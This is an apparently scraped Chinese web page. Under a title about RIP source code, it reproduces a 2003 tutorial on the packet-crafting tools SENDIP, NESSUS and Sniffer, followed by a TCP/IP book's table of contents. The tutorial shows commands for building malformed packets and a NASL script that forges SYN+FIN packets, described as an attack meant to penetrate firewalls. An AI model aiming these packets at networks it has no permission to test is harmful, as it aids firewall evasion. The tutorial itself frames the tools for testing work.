rip协议源码(Rip协议的特点)

      最后更新:2023-10-21 07:39

      发包长度大于1518的发包工具

      三款常用IP发包工具介绍 SENDIP 可在各种UNIX 或LINUX 版本中运行,本人使用的是SLACKWARE 8.0 和REDHAT 9.0 两个版本。可在网站http://www.earth.li/projectpurple/progs/sendip.html中下载最新的源代码或RPM包,目前版本为2.5,源码包大小只有54K。2.1.1. 安装过程SENDIP 的安装过程非常简单,首先从前面介绍的网站中下载最新的源代码包,目前为sendip-2.5.tar.gz。在LINUX 系统中执行:#tar –xzvf sendip-2.5.tar.gz#cd sendip-2.5#make#make install在系统的/usr/local/bin 目录下会产生一个SENDIP 命令文件,同时,在/usr/local/lib 目录下建立一个sendip 目录,并在其下放置ipv4.so、ipv6.so、tcp.so 等与协议相关的模块文件。通过在命令行下运行这个文件,我们可以产生各种各样我们需要的IP 包,还可以通过运行脚本自动发送大量的IP 包。AntPower 版权所有© 2003 技术文章http://www.antpower.org第3 页共14 页2.1.2. 发包方法SENDIP 可以发送NTP, BGP, RIP, RIPng, TCP, UDP, ICMP、IPv4 和IPv6 等各种格式的数据包,SENDIP 本身是以模块的方式发送各种协议的数据包,用-p 参数指定协议类型,要发送每种协议的数据包, 必须对该协议的数据包格式有一定的了解。通常发送TCP/UDP/ICMP 数据包时,都必须以IP 包进行封装,然后才可以发出去。本节我们将以TCP数据包为例进行讲述。下面介绍一下SENDIP 的命令行格式,以下为直接执行SENDIP 时的输出:Usage: sendip [-v] [-d data] [-h] [-f datafile] [-p module] [module options] hostname-d data add this data as a string to the end of the packetData can be:rN to generate N random(ish) data bytes;0x or 0X followed by hex digits;0 followed by octal digits;any other stream of bytes(以指定字节的随机数据填充包中的数据段)-f datafile read packet data from file(以指定数据文件中的内容填充包中的数据段)-h print this message(输出帮助信息)-p module load the specified module (see below)(指定协议类型)-v be verbose(运行时输出详细运行信息,如不指定,运行时不输出信息)(协议类型是以模块的方式指定的,用-p 参数指定)Modules are loaded in the order the -p option appears. The headers fromeach module are put immediately inside the headers from the previos model inthe final packet. For example, to embed bgp inside tcp inside ipv4, dosendip -p ipv4 -p tcp -p bgp ....Modules available at compile time:ipv4 ipv6 icmp tcp udp bgp rip ntp(支持的协议类型)通常执行格式如下:#sendip –v –d r64 –p ipv4 –iv 4 –ih 5 –il 128 –is 10.0.0.1 –id 30.0.0.1 –p tcp –ts 1379 –td 23 –tt 8 30.0.0.1-v:运行时输出详细运行信息,如不指定,运行时不输出信息–d r64:用64 字节的随机数值填充IP 包中的数据段–p ipv4:指定协议类型为IP 协议(IP 协议有自己的相应参数,以i 开头)–iv 4:协议版本为4,即IPV4–ih 5:指定IP 头的长度为5×4=20 字节–il 128:指定IP 包的总长度为128 字节–is 10.0.0.1:指定IP 包的源地址–id 30.0.0.1:指定IP 包的目的地址AntPower 版权所有© 2003 技术文章http://www.antpower.org第4 页共14 页–p tcp:指定IP 包中封装的包的协议类型(TCP 协议有自己的相应参数,以t 开头)–ts 1379:指定TCP 包的源端口1379–td 23:指定TCP 包的目的端口为23-tt 8:指定TCP 包的偏移量即TCP 头的长度,没有TCP 选项时为5,即20 字节,有TCP 选项时需要增加。30.0.0.1:指定发包的目的主机以上部分为利用SENDIP 发送一个简单的TCP 数据包的方法,下面结合IP 和TCP 数据包的格式详细介绍IP 和TCP 协议的各种参数。具体各种协议的数据包格式可参考TCP/IP 协议中对各种协议数据包格式的介绍,下面我们只介绍IP 数据包的格式和TCP 数据包的格式:IP 数据包的格式:根据IP 数据包的格式,SENDIP 有如下命令行参数可以指定对应的IP 数据包中参数的值。Field nameSize(bits)SendIPoptionDescriptionVersion 4 -iv Always 4(对应“4 位版本”,通常值为4,表示IPV4)Header length 4 -ihIP header length, measured in 32bit words, 5 if there areno options(对应“4 位首部长度”,表示以32 位即4字节为单位的IP 首部长度,如果没有IP 参数的话,通常为5,表示首部长度为20 字节,如有IP 参数的话,需要调整该值)Type ofService/DifferentiatedServices8 -iy服务类型(TOS)字段由8 位组成,其中包括3 位的优先权字段(现已被忽略)、4 位的TOS 子字段和1位未用位但必须置0,4 位TOS 子字段分别代表最小时延、最大吞吐量、最高可靠性和最小费用。4 位只能置其中1 位,使用时只要将设置相应位后运算出十进制值即可。如要设置最大吞吐量位(00001000),只需添加参数iy 8 即可。Total Length 16 -il Total length of IP packet including header and data,AntPower 版权所有© 2003 技术文章http://www.antpower.org第5 页共14 页measured in octets(指定IP 包的总长度,包括IP 头部分和数据部分,以8 位字节为单位,最长为65535)Identification 16 -iiUsed to help reassembled fragmented packets(指定IP包的标识号,用来帮助重新组装分段的IP 包)-ifr 1 bit: reserved, should be 0-ifd 1 bit: don't fragment(可指定-ifd x,下可为0、1 或r) Flags 3-ifm 1 bit: more fragmets(可指定-ifm x,下可为0、1 或r)Fragment offset 13 -ifWhere in the reconstructed datagram this fragmentbelongs, measured in 64bit words starting from 0(以8字节长度为单位,指定段偏移量)Time to Live 8 -itNumber of routers the packet can pass through beforebeing discarded(值的范围从0 到255,指定TTL,表示该包可通过的路由器的数目,用于防止包在循环路径上无休止地传递)Protocol 8 -ipProtocol associated with the data. See iana for anuptodate list of assigned numbers(用于定义IP 包内部封装的上层协议的协议号,如TCP 为6,可在IANA的网站上http://www.iana.org/assignments/protocol-numbers获得最新的协议号表)Header checksum 16 -icChecksum of the IP header data (with checksum set tozero)(可指定IP 首部校验和的值,通常由SENDIP 自动生成,不指定该参数,除非要发出带有错误校验和的包)Source Address 32 -is Duhh...(源地址,以点分十进制方式表示)Destination Address 32 -id Cabbage(目的地址,以点分十进制方式表示)Options Variable -io...No options are required. Any number can be added. Seebelow for details(定义各种IP 选项,如果定义了IP选项,则前面的IP 头的长度值要包括IP 选项的长度,不带IP 选项时,该值为20,带IP 选项时,可设定该值,如果要故意制造不匹配的包,可不符合规范。)如果有IP 选项,还可指定IP 选项的值,SENDIP 支持的IP 选项如下表所示。NameSendIPoptionRFC Copy Class NumberType(seeabove)Length(0 notpresent)DescriptionEOL -ioeol 791 0 0 0 0 0Used as padding if needed(使用该选项后,会自动在IP 头中未用到的位补0)NOP -ionop 791 0 0 1 1 0Do nothing. Often used as paddingso the next option starts on a 32 bitAntPower 版权所有© 2003 技术文章http://www.antpower.org第6 页共14 页boundaryRR -iorr 791 0 0 7 7 variableUsed to record the route of apacket.(记录包走过的每个路由器, 通常用法是: -iorr0f:ff.ff.ff.ff:10.0.0.234 –ioeol,其中iorr 表示记录路由,此时系统会自动将IP 选项号置为07,0f 表示指针,即记录的最后一个IP 地址的指针,系统会自动运算该IP 选项的长度)TS -iots 791 0 2 4 68 variableUsed to record the time at which apacket was processed by anintermediate systemLSR -iolsr 791 1 0 3 131 vairableLoose Source Route - let thesource specify the route for apacket.SID -iosid 791 1 0 8 136 4Rarely used, carries the SATNETstream identifier.SSR -iossr 791 1 0 9 137 variableStrict Source Route - same as LSR,but extra hops are not allowed.SEC791,11081 0 2 130 variable Security, rarely usedE-SEC 1108 1 0 5 133 variable Extended Security, rarely used通常在SENDIP 中指定IP 选项时,格式比较特别,下面我们以RR 记录路由选项为例介绍一下,如果要发送一个记录三个IP 的数据包,需要考虑如下,一是指定IP 头的长度要包括IP 选项的长度,而是要指定RR 记录路由选项的指针位置和IP 地址(本来是由系统自动记录IP 和更新指针位置,但现在必须手工指定),那么记录三个IP 包后,指针的位置应是3+4×3+1=16,造好后,数据包的格式应该如下:IP 头07 15 16 10.0.0.234(IP1) 20.0.0.234(IP2) 30.0.0.234(IP3) 00(ioeol) tcp20B RR len ptr 4bytes 4bytes 4bytes Ptr具体命令行如下:#sendip –d r64 –p ipv4 –iv 4 –ih 10 –il 128 –is 10.0.0.1 –id 30.0.0.1 –iorr 10:10.0.0.234:20.0.0.234:30.0.0.234–ioeol –p tcp –ts 1379 –td 23 –tt 8 30.0.0.1-ih 10 表示IP 头的长度为10×4 为40 个字节,去除标准的20 个字节长度,为IP选项预留为20 个字节-iorr 10:10.0.0.234:20.0.0.234:30.0.0.234 中第一个10 表示用16 进制表示的指针的位置,后面为用冒号分隔的三个用点分十进制表示的IP 地址-ioeol 表示用00 结束IP 选项,并用随机数填充后面未用的IP 头位置以上部分只是以RR 记录路由IP 选项为例,介绍了sendip 中指定IP 选项的方法,当然也可以根据自己的要求发送IP 选项不符合常规的数据包。其他的IP 选项与此雷同,但发送AntPower 版权所有© 2003 技术文章http://www.antpower.org第7 页共14 页前需要详细了解IP 选项的格式,才可正确发送。TCP 数据包的格式:根据TCP 数据包的格式,SENDIP 有如下命令行参数可以指定对应的TCP 数据包中参数的值。Field nameSize(bits)SendIPoptionDescriptionSource port 16 -tsSource port number for the connection(以十进制的方式指定TCP 原端口)Destination port 16 -tdDestination port number(以十进制的方式指定TCP 目的端口)Sequence number 32 -tnNumber of the first data octet in this packet. If SYN bit isset, this is the number of the first data octet of the streamtoo.(指定TCP 序列号,如果不指定则随机产生)Acknowledgmentnumber32 -taIf ACK bit is set, the next sequence number the sender isexpecting to receive.Data offset 4 -ttLength of TCP header in 32 bit words(指定TCP 头的长度,单位是以32bits 也就是4 字节为单位)Reserved 4 -trShould be 0. Note, rfc793 defines this as a 6 bit field, butthe last 2 are used by rfc2481 for ECN as below.Flags: ECN 1 -tfeFlags: CWR 1 -tfcECN extension flags, see rfc2481. (指定TCP 标志位,如果要打开哪一位,就在命令行参数中指定相应位的值,如要设置SYN 状态,只需在命令行加入-tfs 1 即可)Flags: URG 1 -tfu Urgent pointer is significant(同上)Flags: ACK 1 -tfa Acknowledgment field is significant(同上)Flags: PSH 1 -tfp Push function(同上)Flags: RST 1 -tfr Reset the connection(同上)Flags: SYN 1 -tfs Synchronize sequence numbers(同上)AntPower 版权所有© 2003 技术文章http://www.antpower.org第8 页共14 页Flags: FIN 1 -tff No more data from sender(同上)Window 16 -twNumber of octet starting from the one in theAcknowledgement field that the sender is willing toacceptChecksum 16 -tcChecksum of the TCP header (with checksum set to 0),data, and a psuedo-header including the source anddestination IP addresses, IP protocol field and a 16 bitlength of the TCP header and data.Urgent pointer 16 -tuIf URG bit is set, tHe offset of the last octet of urgent datain this packet.Options Variable -to...No options are required. Any number can be added. Seebelow for details.如果有TCP 选项,还可指定TCP 选项的值,SENDIP 支持的TCP 选项如下表所示。NameSendIPoptionRFC TypeLength (0notpresent)DescriptionEOL -toeol 793 0 0Used as padding if needed(用00 填充,表示TCP选项结束,把TCP 头后面的位置用随机数填充)NOP -tonop 793 1 0Do nothing. Often used as padding so the nextoption starts on a 32 bit boundaryMSS -tomss 793 2 4Specify the maximum recieve segment size of thesender as a 16 bit number. Only valid when SYN isalso setWSOPT -towscale 1323 3 3The window size should be leftshifted by the valueof the option (an 8 bit number). Only valid whenSYN is also set.SACKOK -tosackok 2018 4 2Selective Acknowledgement is permitted on thisconnectionSACK -tosack 2018 5 variableSelective Acknowledgement of non-contiguousblocks of data. The data in the option is a series of(left edge)-(right edge) pairs giving, respectively,the first sequence number the has been recieved andthe first that hasn't.TSOPT -tots 1323 8 10Timestamp. The first 4 bytes (TSval) are the timethat the packet was sent, the remaining 4 (TSecr)echo the TSval of a packet that was recieved. TSecris only valid when the ACK bit is set.从上表所示,可以看出,TCP 选项可能只有一个单字节参数,如-toeol 和-tonop,也可能由一个Type 号和一个length 长度以及该length 长度指定的字节数的数据组成的参数,使用时sendip 会自动运算length 的长度,所以,不能随意设定TCP 选项的长度,但需要设定TCP 选项的值。AntPower 版权所有© 2003 技术文章http://www.antpower.org第9 页共14 页在设定TCP 选项时,同样要考虑到TCP 头的长度要包括TCP 选项的长度。TCP 选项数据包的格式大致如下:Kind=3 Len=3 数据:移位数TCP 选项号TCP 选项长度TCP 选项数据占一个字节,总长度为三个字节具体命令行格式可参照如下格式:#sendip –d r64 –p ipv4 –iv 4 –ih 10 –il 128 –is 10.0.0.1 –id 30.0.0.1 –iorr 10:10.0.0.234:20.0.0.234:30.0.0.234–ioeol –p tcp –ts 1379 –td 23 –tt 8 –tfa 0 –tfs 1 –towscale 0 –toeol 30.0.0.1-towscale 0 :指设置TCP 选项3,长度为自动3,TCP 选项的值即移位数为0-toeol :表示TCP 选项结束,后面用随机数填满TCP 头因为用SENDIP 设定TCP 选项时,不能设定长度,所以,如果要设定长度不正确的包,还要借助其他工具,如SNIFFER,用SNIFFER 抓到SENDIP 发送的包后,再将对应的TCP选项的长度改为不规则的值即可。根据前面介绍的内容,我们已经基本可以掌握用SENDIP 发送各种协议数据包的方法,当然我们还可以利用他发送各种不符合标准的数据包,如校验和错误、长度不正确、状态位不正确等各种我们需要的数据包,在使用时,建议与SNIFFER 搭配使用,以验证SENDIP发出的包是否正确,进行有针对性的测试。2.2. NESSUS 工具NESSUS 是一个非常庞大的工具,它可以提供功能完善的安全扫描服务,还可以提供全面的发包功能,用以构造各种格式的网络通信包。本篇只关注NESSUS 的发包功能。NESSUS 由两个部分组成,一部分是服务器,通常运行在POSIX 系统如LINUX/UNIX系统中,负责扫描和攻击,并收集数据,另一部分是客户端,可以运行在LINUX/UNIX 系统或WINDOWS 系统中,负责接收和显示数据。如果只是用来发包,则只需要服务端即可。NESSUS 有专门的维护网站,可以随时到http://www.nessus.org网站下载最新的源代码,并获得全面的帮助。目前,NESSUS 最新的版本为2.0.8a。2.2.1. NESSUS 安装方法安装NESSUS 前要知道NESSUS 可能需要的支撑软件包,一个是GTK,通常POSIX系统下的NESSUS 客户端需要GTK,如果你的系统安装了GTK,则必须确保安装了gtk-config 程序,可到ftp://ftp.gimp.org/pub/gtk/v1.2 网站下载最新的GTK 程序,如果只在LINUX/UNIX 系统下安装服务端,则可以不需要GTK 包;另一个是OPENSSL 包,如果希望客户端和服务端的通信采用SSL 方式,则需要OPENSSL 包,可到http://www.openssl.org/下载最新的OPENSSL 包,OPENSSL 包是可选的。NESSUS 有三种安装方法:第一种是利用LINUX 下的LYNX 工具直接从网上安装,这种方法很容易,但安全性低,在此不予详细介绍,可到NESSUS 网站上获取相关信息。第二种方法是使用NESSUS 提供的nessus-installer.sh 工具,直接安装,这种方法简单且安全性比较高。第三种方法是获取源码包,然后分别编译再进行安装。下面分别介绍第二种和第三种方法。AntPower 版权所有© 2003 技术文章http://www.antpower.org第10 页共14 页2.2.1.1. 采用nessus-installer.sh 方式安装从NESSUS 网站下载最新的nessus-installer.sh 文件到本地LINUX 目录,然后执行#sh nessus-installer.sh系统会自动安装NESSUS 到你的系统中,中间会需要你提供相关的提示信息,一直按回车即可。2.2.1.2. 采用源码包方式安装如果采用源码包方式进行安装,需要下载四个软件包,并按顺序进行安装。四个软件包分别如下:nessus-librarieslibnaslnessus-corenessus-plugins安装时必须按顺序安装这四个软件包。安装前,我们必须获得上面所说的四个软件包,目前版本为2.0.8a:nessus-libraries-x.x.tar.gzlibnasl-x.x.tar.gznessus-core.x.x.tar.gznessus-plugins.x.x.tar.gz然后开始进行安装。1. 安装nessus-libraries#tar –xzvf nessus-libraries-x.x.tar.gz#cd nessus-libraries-x.x#./configure#make#make install2. 安装libnasl-x.x.tar.gz (执行与上面相同的操作)3. 安装nessus-core.x.x.tar.gz(执行与上面相同的操作)4. 安装nessus-plugins.x.x.tar.gz (执行与上面相同的操作)5. 如果使用的是LINUX 系统,必须确保/usr/local/lib 路径在/etc/ld.so.conf 文件中,如果是SOLARIS 系统, 必须执行export LD_LIBRARY_PATH=$LD_LIBRARY_PATH :/usr/local/lib 命令。6. 执行ldconfig 命令7. 如果不想或不能使用GTK 的客户端,可强制使用命令行方式,这时,在执行第三步编译nessus-core 时,可以使用如下命令:#tar –xzvf nessus-libraries-x.x.tar.gz#cd nessus-libraries-x.x#./configure --disable-gtk#make#make installAntPower 版权所有© 2003 技术文章http://www.antpower.org第11 页共14 页执行以上命令后,NESSUS 就已经安装在您的系统中了。2.2.2. NESSUS 的发包方法NESSUS 通常采用脚本方式控制发出的包,下面我们以发送圣诞老人攻击包为例,来介绍如何利用NESSUS 发送数据包。圣诞老人包是通过发送TCP Flag 中同时有SYN 和FIN 标志的数据包,穿透防火墙,来达到攻击的目的。为使用NESSUS 发送攻击包,首先要定义一个脚本,在LINUX 下,执行vi sendp 命令,输入如下内容:srcaddr=this_host(); 注:自动获取当前主机的IP 地址ip = forge_ip_packet( ip_v : 4, 注:IP 协议版本为IPV4ip_hl : 5, 注:IP 头的长度为5×4=20 字节ip_tos : 0,ip_len : 40, 注:在这里输入实际的长度40,因为IP 头和TCP 头都为20ip_id : 0xABA,ip_p : IPPROTO_TCP, 注:内部数据包协议为TCPip_ttl : 255,ip_off : 0,ip_src : srcaddr); 注:可在此直接输入IPport = get_host_open_port(); 注:自动获取当前主机上的可用端口if(!port)port = 139; 注:如果没有可用端口,就自动使用139 端口tcpip = forge_tcp_packet( ip : ip, 注:表示IP 层协议采用前面定义的IP 协议包th_sport : port, 注:可在这里直接输入端口th_dport : port, 注:可在这里直接输入端口th_flags : TH_SYN|TH_FIN, 注:设置TCP 状态的SYN 和FIN 标志位th_seq : 0xF1C,th_ack : 0,th_x2 : 0,th_off : 5, 注:TCP 头的长度位5×4=20 字节th_win : 512,th_urp : 0);result = send_packet(tcpip,pcap_active:FALSE);编辑完上面的脚本后,保存退出,运行如下命令:#nasl –t 目的IP 地址测试脚本如:#nasl –t 10.0.0.227 sendpAntPower 版权所有© 2003 技术文章http://www.antpower.org第12 页共14 页通过Sniffer 抓包,就会发现有相应的圣诞老人包。在我的使用过程中,发现NESSUS 好像不支持发送带有IP 或TCP 选项的包。具体发包的参数可参考http://www.nessus.org/doc/nasl.html2.3. SNIFFER 工具用SNIFFER 发包时,有两种方式,一种是直接利用Packet Generator 工具,从0 开始用16 进制的方式造一个数据包,这种方法难度较高,因为要自己算出校验和,除非需要重现在网络上抓到的一个16 进制格式的数据包,另外一种方式是利用已经抓到的数据包修改一下,再发送出去,具体实现方法分别如下。2.3.1. 利用Packet Generator 直接造包在SNIFFER 中,选择Tools|Packet Generator 菜单,系统弹出窗口如下:按图中的红色框中的按钮,系统会弹出一个构造包内容的对话框,如下所示:AntPower 版权所有© 2003 技术文章http://www.antpower.org第13 页共14 页在上图中可输入包的内容,还可规定发包的个数和包的长度。2.3.2. 利用已抓的包发包利用已抓的包进行修改,可以避免大量的运算和输入,只需要更改自己需要更改的地方,然后发出去即可。如上图所示,按包的大致要求,用其他工具造好包后,用SNIFFER 抓包,或者直接将网络上的可疑包抓过来,然后,用鼠标邮件单击该包,弹出如上图所示的快捷菜单,从中选择Send Current Frame 菜单,系统就会弹出如下图所示的发包窗口:AntPower 版权所有© 2003 技术文章http://www.antpower.org第14 页共14 页按要求更改包的内容,即可发送。需要注意的是如果更改了IP 地址或其他头中的内容,则需要更新校验和,对MAC 或选项的更改不需要更改校验和。3. 总结通过对比前面的三种发包工具,我们发现每种工具都有自己的优点和缺点,SENDIP 比较短小而且功能较齐全,比较适合在日常测试中使用,SNIFFER 发包工具最自由,可以发出任何可能的数据包,NESSUS 工具功能比较全面,但在发包方面不如SENDIP,所以,建议如果是测试需要的话,应该采用SENDIP 和SNIFFER 相结合的方式,如果同时还要使用 扫描等其他功能,可以采用NESSUS 工具。
      tcpreplay linux内核自带的发包工具:pktgen
      发包长度大于1518的发包工具

      TCP/IP详解卷1:协议的作品目录

      译者序前言第1章 概述11.1 引言11.2 分层11.3 TCP/IP的分层41.4 互联网的地址51.5 域名系统61.6 封装61.7 分用81.8 客户-服务器模型81.9 端口号91.10 标准化过程101.11 RFC101.12 标准的简单服务111.13 互联网121.14 实现121.15 应用编程接口121.16 测试网络131.17 小结13第2章 链路层152.1 引言152.2 以太网和IEEE 802封装152.3 尾部封装172.4 SLIP:串行线路IP172.5 压缩的SLIP182.6 PPP:点对点协议182.7 环回接口202.8 最大传输单元MTU212.9 路径MTU212.10 串行线路吞吐量计算212.11 小结22第3章 IP:网际协议243.1 引言243.2 IP首部243.3 IP路由选择273.4 子网寻址303.5 子网掩码323.6 特殊情况的IP地址333.7 一个子网的例子333.8 ifconfig命令353.9 netstat命令363.10 IP的未来363.11 小结37第4章 ARP:地址解析协议384.1 引言384.2 一个例子384.3 ARP高速缓存404.4 ARP的分组格式404.5 ARP举例414.5.1 一般的例子414.5.2 对不存在主机的ARP请求424.5.3 ARP高速缓存超时设置434.6 ARP代理434.7 免费ARP454.8 arp命令454.9 小结46第5章 RARP:逆地址解析协议475.1 引言475.2 RARP的分组格式475.3 RARP举例475.4 RARP服务器的设计485.4.1 作为用户进程的RARP服务器495.4.2 每个网络有多个RARP服务器495.5 小结49第6章 ICMP:Internet控制报文协议506.1 引言506.2 ICMP报文的类型506.3 ICMP地址掩码请求与应答526.4 ICMP时间戳请求与应答536.4.1 举例546.4.2 另一种方法556.5 ICMP端口不可达差错566.6 ICMP报文的4.4BSD处理596.7 小结60第7章 Ping程序617.1 引言617.2 Ping程序617.2.1 LAN输出627.2.2 WAN输出637.2.3 线路SLIP链接647.2.4 拨号SLIP链路657.3 IP记录路由选项657.3.1 通常的例子667.3.2 异常的输出687.4 IP时间戳选项697.5 小结70第8章 Traceroute程序718.1 引言718.2 Traceroute 程序的操作718.3 局域网输出728.4 广域网输出758.5 IP源站选路选项768.5.1 宽松的源站选路的traceroute程序示例788.5.2 严格的源站选路的traceroute程序示例798.5.3 宽松的源站选路traceroute程序的往返路由808.6 小结81第9章 IP选路839.1 引言839.2 选路的原理849.2.1 简单路由表849.2.2 初始化路由表869.2.3 较复杂的路由表879.2.4 没有到达目的地的路由879.3 ICMP主机与网络不可达差错889.4 转发或不转发899.5 ICMP重定向差错899.5.1 一个例子909.5.2 更多的细节919.6 ICMP路由器发现报文929.6.1 路由器操作939.6.2 主机操作939.6.3 实现939.7 小结94第10章 动态选路协议9510.1 引言9510.2 动态选路9510.3 Unix选路守护程序9610.4 RIP:选路信息协议9610.4.1 报文格式9610.4.2 正常运行9710.4.3 度量9810.4.4 问题9810.4.5 举例9810.4.6 另一个例子10010.5 RIP版本210210.6 OSPF:开放最短路径优先10210.7 BGP:边界网关协议10310.8 CIDR:无类型域间选路10410.9 小结105第11章 UDP:用户数据报协议10711.1 引言10711.2 UDP首部10711.3 UDP检验和10811.3.1 tcpdump输出10911.3.2 一些统计结果10911.4 一个简单的例子11011.5 IP分片11111.6 ICMP不可达差错(需要分片)11311.7 用Traceroute确定路径MTU11411.8 采用UDP的路径MTU发现11611.9 UDP和ARP之间的交互作用11811.10 最大UDP数据报长度11911.11 ICMP源站抑制差错12011.12 UDP服务器的设计12211.12.1 客户IP地址及端口号12211.12.2 目标IP地址12211.12.3 UDP输入队列12211.12.4 限制本地IP地址12411.12.5 限制远端IP地址12511.12.6 每个端口有多个接收者12511.13 小结126第12章 广播和多播12812.1 引言12812.2 广播12912.2.1 受限的广播12912.2.2 指向网络的广播12912.2.3 指向子网的广播12912.2.4 指向所有子网的广播13012.3 广播的例子13012.4 多播13212.4.1 多播组地址13312.4.2 多播组地址到以太网地址的转换13312.4.3 FDDI和令牌环网络中的多播13412.5 小结134第13章 IGMP:Internet组管理协议13613.1 引言13613.2 IGMP报文13613.3 IGMP协议13613.3.1 加入一个多播组13613.3.2 IGMP报告和查询13713.3.3 实现细节13713.3.4 生存时间字段13813.3.5 所有主机组13813.4 一个例子13813.5 小结141第14章 DNS:域名系统14214.1 引言14214.2 DNS基础14214.3 DNS的报文格式14414.3.1 DNS查询报文中的问题部分14614.3.2 DNS响应报文中的资源记录部分14714.4 一个简单的例子14714.5 指针查询15014.5.1 举例15114.5.2 主机名检查15114.6 资源记录15214.7 高速缓存15314.8 用UDP还是用TCP15614.9 另一个例子15614.10 小结157第15章 TFTP:简单文件传送协议15915.1 引言15915.2 协议15915.3 一个例子16015.4 安全性16115.5 小结162第16章 BOOTP: 引导程序协议16316.1 引言16316.2 BOOTP的分组格式16316.3 一个例子16416.4 BOOTP服务器的设计16516.5 BOOTP穿越路由器16716.6 特定厂商信息16716.7 小结168第17章 TCP:传输控制协议17017.1 引言17017.2 TCP的服务17017.3 TCP的首部17117.4 小结173第18章 TCP连接的建立与终止17418.1 引言17418.2 连接的建立与终止17418.2.1 tcpdump的输出17418.2.2 时间系列17518.2.3 建立连接协议17518.2.4 连接终止协议17718.2.5 正常的tcpdump输出17718.3 连接建立的超时17818.3.1 第一次超时时间17818.3.2 服务类型字段17918.4 最大报文段长度17918.5 TCP的半关闭18018.6 TCP的状态变迁图18218.6.1 2MSL等待状态18318.6.2 平静时间的概念18618.6.3 FIN_WAIT_2状态18618.7 复位报文段18618.7.1 到不存在的端口的连接请求18718.7.2 异常终止一个连接18718.7.3 检测半打开连接18818.8 同时打开18918.9 同时关闭19118.10 TCP选项19118.11 TCP服务器的设计19218.11.1 TCP服务器端口号19318.11.2 限定的本地IP地址19418.11.3 限定的远端IP地址19518.11.4 呼入连接请求队列19518.12 小结197第19章 TCP的交互数据流20019.1 引言20019.2 交互式输入20019.3 经受时延的确认20119.4 Nagle算法20319.4.1 关闭Nagle算法20419.4.2 一个例子20519.5 窗口大小通告20719.6 小结208第20章 TCP的成块数据流20920.1 引言20920.2 正常数据流20920.3 滑动窗口21220.4 窗口大小21420.5 PUSH标志21520.6 慢启动21620.7 成块数据的吞吐量21820.7.1 带宽时延乘积22020.7.2 拥塞22020.8 紧急方式22120.9 小结224第21章 TCP的超时与重传22621.1 引言22621.2 超时与重传的简单例子22621.3 往返时间测量22721.4 往返时间RTT的例子22921.4.1 往返时间RTT的测量22921.4.2 RTT估计器的计算23121.4.3 慢启动23321.5 拥塞举例23321.6 拥塞避免算法23521.7 快速重传与快速恢复算法23621.8 拥塞举例(续)23721.9 按每条路由进行度量24021.10 ICMP的差错24021.11 重新分组24321.12 小结243第22章 TCP的坚持定时器24522.1 引言24522.2 一个例子24522.3 糊涂窗口综合症24622.4 小结250第23章 TCP的保活定时器25123.1 引言25123.2 描述25223.3 保活举例25323.3.1 另一端崩溃25323.3.2 另一端崩溃并重新启动25423.3.3 另一端不可达25423.4 小结255第24章 TCP的未来和性能25624.1 引言25624.2 路径MTU发现25624.2.1 一个例子25724.2.2 大分组还是小分组25824.3 长肥管道25924.4 窗口扩大选项26224.5 时间戳选项26324.6 PAWS:防止回绕的序号26524.7 T/TCP:为事务用的TCP扩展26524.8 TCP的性能26724.9 小结268第25章 SNMP:简单网络管理协议27025.1 引言27025.2 协议27025.3 管理信息结构27225.4 对象标识符27425.5 管理信息库介绍27425.6 实例标识27625.6.1 简单变量27625.6.2 表格27625.6.3 字典式排序27725.7 一些简单的例子27725.7.1 简单变量27825.7.2 get-next操作27825.7.3 表格的访问27925.8 管理信息库(续)27925.8.1 system组27925.8.2 interface组28025.8.3 at组28125.8.4 ip组28225.8.5 icmp组28525.8.6 tcp组28525.9 其他一些例子28825.9.1 接口MTU28825.9.2 路由表28825.10 trap29025.11 ASN.1和BER29125.12 SNMPv229225.13 小结292第26章 Telnet和Rlogin:远程登录29326.1 引言29326.2 Rlogin协议29426.2.1 应用进程的启动29526.2.2 流量控制29526.2.3 客户的中断键29626.2.4 窗口大小的改变29626.2.5 服务器到客户的命令29626.2.6 客户到服务器的命令29726.2.7 客户的转义符29826.3 Rlogin的例子29826.3.1 初始的客户-服务器协议29826.3.2 客户中断键29926.4 Telnet协议30226.4.1 NVT ASCII30226.4.2 Telnet命令30226.4.3 选项协商30326.4.4 子选项协商30426.4.5 半双工、一次一字符、一次一行或行方式30426.4.6 同步信号30626.4.7 客户的转义符30626.5 Telnet举例30626.5.1 单字符方式30626.5.2 行方式31026.5.3 一次一行方式(准行方式)31226.5.4 行方式:客户中断键31326.6 小结314第27章 FTP:文件传送协议31627.1 引言31627.2 FTP协议31627.2.1 数据表示31627.2.2 FTP命令31827.2.3 FTP应答31927.2.4 连接管理32027.3 FTP的例子32127.3.1 连接管理:临时数据端口32127.3.2 连接管理:默认数据端口32327.3.3 文本文件传输:NVT ASCII表示还是图像表示32527.3.4 异常中止一个文件的传输:Telnet同步信号32627.3.5 匿名FTP32927.3.6 来自一个未知IP地址的匿名FTP33027.4 小结331第28章 SMTP:简单邮件传送协议33228.1 引言33228.2 SMTP协议33228.2.1 简单例子33228.2.2 SMTP命令33428.2.3 信封、首部和正文33528.2.4 中继代理33528.2.5 NVT ASCII33728.2.6 重试间隔33728.3 SMTP的例子33728.3.1 MX记录:主机非直接连到Internet33728.3.2 MX记录:主机出故障33928.3.3 VRFY和EXPN命令34028.4 SMTP的未来34028.4.1 信封的变化:扩充的SMTP34128.4.2 首部变化:非ASCII字符34228.4.3 正文变化:通用Internet邮件扩充34328.5 小结346第29章 网络文件系统34729.1 引言34729.2 Sun远程过程调用34729.3 XDR:外部数据表示34929.4 端口映射器34929.5 NFS协议35129.5.1 文件句柄35329.5.2 安装协议35329.5.3 NFS过程35429.5.4 UDP还是TCP35529.5.5 TCP上的NFS35529.6 NFS实例35629.6.1 简单的例子:读一个文件35629.6.2 简单的例子:创建一个目录35729.6.3 无状态35829.6.4 例子:服务器崩溃35829.6.5 等幂过程36029.7 第3版的NFS36029.8 小结361第30章 其他的TCP/IP应用程序36330.1 引言36330.2 Finger协议36330.3 Whois协议36430.4 Archie、WAIS、Gopher、Veronica和WWW36630.4.1 Archie36630.4.2 WAIS36630.4.3 Gopher36630.4.4 Veronica36630.4.5 万维网WWW36730.5 X窗口系统36730.5.1 Xscope程序36830.5.2 LBX: 低带宽X37030.6 小结370附录A tcpdump程序371附录B 计算机时钟376附录C sock程序378附录D 部分习题的解答381附录E 配置选项395附录F 可以免费获得的源代码406参考文献409缩略语420
      TCP/IP详解卷1:协议的作品目录

      BGP路由协议原理

